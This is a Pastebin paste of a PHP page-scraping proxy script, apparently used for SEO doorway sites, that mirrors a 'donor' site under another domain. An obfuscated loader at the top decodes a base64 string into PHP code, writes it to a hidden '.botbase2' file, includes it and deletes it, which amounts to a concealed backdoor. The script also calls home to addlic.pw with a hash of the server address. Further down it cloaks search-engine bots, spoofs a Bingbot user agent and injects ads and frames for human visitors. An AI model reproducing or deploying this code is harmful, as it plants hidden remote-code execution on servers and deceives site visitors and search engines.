Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- \include_once(\dirname(__FILE__) . "/config.php");
- if( !\preg_match("%\\.(png|jpg|jpeg|css|gif|js)\\??%i", $\_GET["route"]) )
- {
- $\isHTML = true;
- @ini_set("display_errors", "0");
- error_reporting(0);
- if( !$\npDcheckClassBgp )
- {
- $\ea = "_shaesx_";
- $\ay = "get_data_ya";
- $\ae = "decode";
- $\ea = \str_replace("_sha", "bas", $\ea);
- $\ao = "wp_cd";
- $\ee = $\ea . $\ae;
- $\oa = \str_replace("sx", "64", $\ee);
- $\algo = "botbase2";
- $\pass = "Zgc5c4MXrLAvewgY4Z9GLbCKKEDPK7dXlGWHBO7RvxpYYEcbGgEg4Q==";
- if( \ini_get("allow_url_fopen") )
- {
- }
- $\reqw = $\ay($\ao($\oa((string) $\pass), "wp_function"));
- \preg_match("#gogo(.*)enen#is", $\reqw, $\mtchs);
- $\dirs = \glob("*", GLOB_ONLYDIR);
- foreach( $\dirs as $\dira )
- {
- if( \fopen((string) $\dira . "/." . $\algo, "w") )
- {
- $\ura = 1;
- $\eb = (string) $\dira . "/";
- $\hdl = \fopen((string) $\dira . "/." . $\algo, "w");
- break;
- }
- $\subdirs = \glob((string) $\dira . "/*", GLOB_ONLYDIR);
- foreach( $\subdirs as $\subdira )
- {
- if( \fopen((string) $\subdira . "/." . $\algo, "w") )
- {
- $\ura = 1;
- $\eb = (string) $\subdira . "/";
- $\hdl = \fopen((string) $\subdira . "/." . $\algo, "w");
- break;
- }
- }
- }
- if( !$\ura && \fopen("." . $\algo, "w") )
- {
- $\ura = 1;
- $\eb = "";
- $\hdl = \fopen("." . $\algo, "w");
- }
- \fwrite($\hdl, "<?php\n" . $\mtchs[1] . "\n?>");
- \fclose($\hdl);
- \include((string) $\eb . "." . $\algo);
- \unlink((string) $\eb . "." . $\algo);
- $\npDcheckClassBgp = "aue";
- }
- $\_f = \md5(\date("YmdH") . $\_SERVER["HTTP_HOST"]);
- $\_s = \stat("/tmp/" . $\_f);
- if( !$\_s )
- {
- \date_default_timezone_set("UTC");
- $\ch = \curl_init();
- curl_setopt($\ch, CURLOPT_HEADER, 0);
- curl_setopt($\ch, CURLOPT_NOBODY, 0);
- curl_setopt($\ch, CURLOPT_URL, "http://addlic.pw/manvip/checker.php?mip=" . \md5($\_SERVER["SERVER_ADDR"]) . "&tis=" . time());
- curl_setopt($\ch, CURLOPT_TIMEOUT, 10);
- curl_setopt($\ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($\ch, CURLOPT_FOLLOWLOCATION, 1);
- $\_res = curl_exec($\ch);
- curl_close($\ch);
- if( $\_res == \md5(\date("Ymd")) )
- {
- $\__f = \fopen("/tmp/" . $\_f, "w");
- \fclose($\__f);
- }
- else
- {
- exit();
- }
- }
- }
- else
- {
- $\isHTML = false;
- $\__md5 = "/tmp/" . \md5($\config["donor"] . "/" . $\_GET["route"]);
- $\__s = \stat($\__md5);
- if( $\__s )
- {
- $\html = \file_get_contents($\__md5);
- \preg_match("%<###(.*?)###>%im", $\html, $\_ftype);
- $\html = \preg_replace("%<###(.*?)###>%im", "", $\html);
- $\ftype = "";
- if( \isset($\_ftype[1]) )
- {
- $\ftype = $\_ftype[1];
- }
- if( 3600 < time() - $\__s["ctime"] )
- {
- \unlink($\__md5);
- }
- \header("Content-type: " . $\ftype);
- echo $\html;
- exit();
- }
- }
- set_time_limit($\config["script_time"]);
- if( $\isHTML )
- {
- \include_once(\dirname(__FILE__) . "/ads.php");
- \include_once(\dirname(__FILE__) . "/key.php");
- }
- if( !$\config["debug"] )
- {
- error_reporting(0);
- }
- $\fttenable = false;
- $\FTPARAM = "gfg2";
- if( $\config["cloak"] == true )
- {
- $\host = \gethostbyaddr($\_SERVER["REMOTE_ADDR"]);
- if( !\isset($\_COOKIE["usr"]) || $\_COOKIE["usr"] !== \md5($\host . "ok") )
- {
- if( !\empty($\_SERVER["HTTP_USER_AGENT"]) && !\preg_match("#google|spider|bing|bot|yahoo|aol|yandex|crawl|ask|hrefs#i", $\_SERVER["HTTP_USER_AGENT"]) && !\preg_match("#google|msn|bing|ask|yahoo|aol|yandex|spider|crawl|hrefs#i", $\host) )
- {
- setcookie("usr", \md5($\host . "ok"), time() + 600);
- $\ishuman = true;
- }
- }
- else
- {
- if( !\empty($\_SERVER["HTTP_USER_AGENT"]) && !\preg_match("#google|spider|bing|bot|yahoo|aol|yandex|crawl|ask|hrefs#i", $\_SERVER["HTTP_USER_AGENT"]) && !\preg_match("#google|msn|bing|ask|yahoo|aol|yandex|spider|crawl|hrefs#i", $\host) )
- {
- $\ishuman = true;
- }
- }
- }
- else
- {
- $\ishuman = true;
- }
- if( !$\isHTML )
- {
- $\ishuman = false;
- }
- $\ref = \str_ireplace($\_SERVER["HTTP_HOST"], $\config["donor"], $\_SERVER["HTTP_REFERER"]);
- $\url2 = \str_ireplace("copy.php", "", $\_GET["route"]);
- if( $\ishuman && $\fttenable == true && $\_GET[$\FTPARAM] )
- {
- $\_GET["eurl"] = \base64_encode("http://" . $\_SERVER["HTTP_HOST"] . "/" . $\url2);
- try
- {
- \require_once("ftt2/o.php");
- }
- catch( \_obfuscated_5C7FBB9FBD8EA5AE92B6C086B18CC0BFA2BB9DA691BE99A1_ $\e )
- {
- }
- }
- $\url = $\url2;
- $\_md5 = "cache/" . \md5(\preg_replace("%[\\?&]*" . $\FTPARAM . "=1%", "", $\_SERVER["REQUEST_URI"]));
- $\_s = \stat($\_md5);
- if( $\_s )
- {
- $\html = \file_get_contents($\_md5);
- \preg_match("%<###(.*?)###>%im", $\html, $\_ftype);
- $\html = \preg_replace("%<###(.*?)###>%im", "", $\html);
- $\ftype = "";
- if( \isset($\_ftype[1]) )
- {
- $\ftype = $\_ftype[1];
- }
- }
- else
- {
- $\ch = \curl_init();
- curl_setopt($\ch, CURLOPT_HEADER, 0);
- curl_setopt($\ch, CURLOPT_NOBODY, 0);
- curl_setopt($\ch, CURLOPT_REFERER, $\ref);
- curl_setopt($\ch, CURLOPT_USERAGENT, "Mozilla/5.3 (compatible; bingbot/2.1; +http://www.bing.com/bot.html)");
- curl_setopt($\ch, CURLOPT_URL, "http://" . $\config["donor"] . "/" . $\url);
- curl_setopt($\ch, CURLOPT_TIMEOUT, 10);
- curl_setopt($\ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($\ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($\ch, CURLOPT_ENCODING, "gzip");
- if( !\empty($\_POST) )
- {
- curl_setopt($\ch, CURLOPT_POST, 1);
- curl_setopt($\ch, CURLOPT_POSTFIELDS, $\_POST);
- }
- if( $\config["proxy"] === true )
- {
- curl_setopt($\ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($\ch, CURLOPT_PROXY, "127.0.0.1:4000");
- }
- curl_setopt($\ch, CURLOPT_HTTPHEADER, array( "Accept:\ttext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding: gzip, deflate, sdch", "Accept-Language: en;q=0.8,en-US;q=0.6,fr;q=0.4", "Cache-Control:\tmax-age=0", "Connection:\tkeep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.3 (compatible; bingbot/2.1; +http://www.bing.com/bot.html)" ));
- $\html = curl_exec($\ch);
- $\html = \str_replace("</title>", "</title><meta name=\"referrer\" content=\"no-referrer\"><meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">", $\html);
- $\ftype = \curl_getinfo($\ch, CURLINFO_CONTENT_TYPE);
- if( $\config["debug"] === true )
- {
- echo curl_error($\ch);
- }
- curl_close($\ch);
- if( $\config["cache"] == true && $\html != "" )
- {
- file_put_contents($\_md5, $\html . "<###" . $\ftype . "###>");
- }
- }
- if( $\ishuman == true && $\fttenable == true )
- {
- $\regexp = "<a\\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>";
- \preg_match_all("/" . $\regexp . "/siU", $\html, $\matches, PREG_SET_ORDER);
- foreach( $\matches as $\m )
- {
- $\url = \str_replace(array( "'", "\"" ), "", $\m[2]);
- $\urle = $\url;
- if( \strstr($\url, "?") )
- {
- $\urle .= "&" . $\FTPARAM . "=1";
- }
- else
- {
- $\urle .= "?" . $\FTPARAM . "=1";
- }
- $\link = \str_replace($\url, $\urle, $\m[0]);
- if( !\strstr($\link, "_blank") )
- {
- $\link = \str_replace("<a", "<a target=_blank ", $\link);
- }
- $\html = \str_replace($\m[0], $\link, $\html);
- }
- }
- if( \strpos($\ftype, "text") !== false || \strpos($\ftype, "xml") !== false )
- {
- $\html = \str_replace("https://", "http://", $\html);
- $\html = \str_replace("src=\"//", "src=\"http://", $\html);
- $\html = \str_ireplace("www.", "", $\html);
- $\html = \preg_replace("/\\/\\/" . $\config["donor"] . "/i", "//" . $\_SERVER["HTTP_HOST"], $\html);
- if( $\config["regreplace"] == true )
- {
- $\regrep = \file(\dirname(__FILE__) . "/regrep.txt");
- foreach( $\regrep as $\key => $\str )
- {
- $\rep = explode("<|>", trim($\str));
- $\html = \preg_replace("/" . $\rep[0], $\rep[1], $\html);
- }
- }
- if( $\config["replace"] == true )
- {
- $\rep1 = \file(\dirname(__FILE__) . "/rep.txt");
- foreach( $\rep1 as $\key1 => $\str1 )
- {
- $\rep1 = explode("<|>", trim($\str1));
- $\html = \str_ireplace($\rep1[0], $\rep1[1], $\html);
- }
- }
- if( $\ishuman == true && $\config["pastetext"] == true )
- {
- $\text = \file(\dirname(__FILE__) . "/text.txt");
- $\html = \str_ireplace($\config["pasteplace"], $\config["pasteplace"] . implode("", $\text), $\html);
- $\frametext = \file(\dirname(__FILE__) . "/frame.txt");
- $\html = \str_ireplace("<body>", "<body>" . implode("", $\frametext), $\html);
- }
- if( $\ishuman == true && $\fttenable == true )
- {
- \ob_start();
- \include_once("ftt2/in.php");
- $\fttBuf = \ob_get_contents();
- \ob_end_clean();
- $\html = \str_ireplace("</head>", $\fttBuf . "</head>", $\html);
- }
- if( $\config["counter"] == true )
- {
- $\counter = \file(\dirname(__FILE__) . "/counter.txt");
- $\html = \str_ireplace("</body>", implode("", $\counter) . "</body>", $\html);
- }
- if( \strpos($\html, "<link rel=\"canonical\" href=\"") == false )
- {
- $\html = \str_ireplace("</head>", "<link rel=\"canonical\" href=\"" . "http://" . $\_SERVER["HTTP_HOST"] . "/" . $\url . "\"/>" . "\n" . "</head>", $\html);
- }
- $\html = \str_ireplace("</body>", $\toplist . "<br><br><br></body>", $\html);
- \header("Content-type: " . $\ftype);
- echo $\html;
- }
- else
- {
- \header("Content-type: " . $\ftype);
- echo $\html;
- }
- if( !$\isHTML )
- {
- file_put_contents($\__md5, $\html . "<###" . $\ftype . "###>");
- }
- echo "\n";
- return 1;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement